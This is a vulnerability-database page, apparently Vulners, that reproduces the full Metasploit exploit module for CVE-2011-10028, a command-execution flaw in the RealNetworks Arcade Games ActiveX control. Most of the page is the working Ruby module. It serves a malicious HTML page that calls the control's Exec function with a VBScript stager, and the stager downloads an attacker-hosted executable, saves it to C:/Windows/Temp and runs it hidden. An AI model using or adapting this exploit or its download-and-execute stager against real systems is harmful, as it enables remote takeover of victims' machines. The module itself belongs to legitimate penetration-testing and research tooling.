Lucene search
+L

Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution

🗓️ 03 Apr 2011 00:00:00Reported by rgod, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 7 Views

Remote code execution in Real Networks Arcade Game's ActiveX control using StubbyUtil.ProcessMgr

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2011-10028
20 Aug 202515:39
attackerkb
circl
Circl
CVE-2011-10028
29 May 201815:50
circl
cnnvd
CNNVD
RealNetworks RealArcade 安全漏洞
20 Aug 202500:00
cnnvd
cve
CVE
CVE-2011-10028
20 Aug 202515:39
cve
cvelist
Cvelist
CVE-2011-10028 RealNetworks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution
20 Aug 202515:39
cvelist
euvd
EUVD
EUVD-2011-5253
7 Oct 202500:30
euvd
nvd
NVD
CVE-2011-10028
20 Aug 202516:15
nvd
ptsecurity
Positive Technologies
PT-2025-34109 · Undefined · Undefined
20 Aug 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2011-10028
22 Aug 202516:35
redhatcve
vulnrichment
Vulnrichment
CVE-2011-10028 RealNetworks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution
20 Aug 202515:39
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',
        'Description' => %q{
          This module exploits a vulnerability in Real Networks Arcade Game's ActiveX control. The "exec"
          function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
          on the victim machine.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rgod', # Initial discovery, poc
          'sinn3r', # msf
        ],
        'References' => [
          [ 'CVE', '2011-10028' ],
          [ 'OSVDB', '71559' ],
          [ 'EDB', '17105' ]
        ],
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows Universal', {} ],
        ],
        'DisclosureDate' => '2011-04-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  # Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
  # either the payload or the vbs script.  To avoid this problem, I ended up writing this custom routine
  # that only uses one echo.
  def build_vbs(url, payload_name, stager_name)
    name_xmlhttp = rand_text_alpha(2)
    name_adodb = rand_text_alpha(2)

    tmp = "#{@temp_folder}/#{stager_name}"

    vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "
    vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send"
    vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "
    vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
    vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
    vbs << ": #{name_adodb}.SaveToFile \"\"#{@temp_folder}/#{payload_name}.exe\"\",2 "
    vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"#{@temp_folder}/#{payload_name}.exe\"\",0 >> #{tmp}"

    return vbs
  end

  def exploit
    @payload_name = rand_text_alpha(4)
    @temp_folder = "C:/Windows/Temp"
    super
  end

  def on_request_uri(cli, request)
    if request.uri =~ /\.exe/
      print_status("Sending payload EXE")
      return if ((p = regenerate_payload(cli)) == nil)

      data = generate_payload_exe({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    # Payload's URL
    payload_src = "#{get_uri(cli)}/#{@payload_name}.exe"

    # Create the stager (download + execute payload)
    stager_name = rand_text_alpha(6) + ".vbs"
    stager = build_vbs(payload_src, @payload_name, stager_name)

    html_obj_name = rand_text_alpha(6)

    html = <<-EOS
    <html>
    <object classid='clsid:5818813E-D53D-47A5-ABBB-37E2A07056B5' id='#{html_obj_name}' />
    </object>
    <script language='vbscript'>
    #{html_obj_name}.Exec "cmd","/c #{stager}",1,1,""
    setTimeout "x=1", 3000
    #{html_obj_name}.Exec "cmd","/c start #{@temp_folder}/#{stager_name}",1,1,""
    </script>
    </html>
    EOS

    # Remove extra tabs
    html = html.gsub(/^ {4}/, "")

    print_status("Sending #{self.name}")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Apr 2011 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 48.7
EPSS0.01138
SSVC
7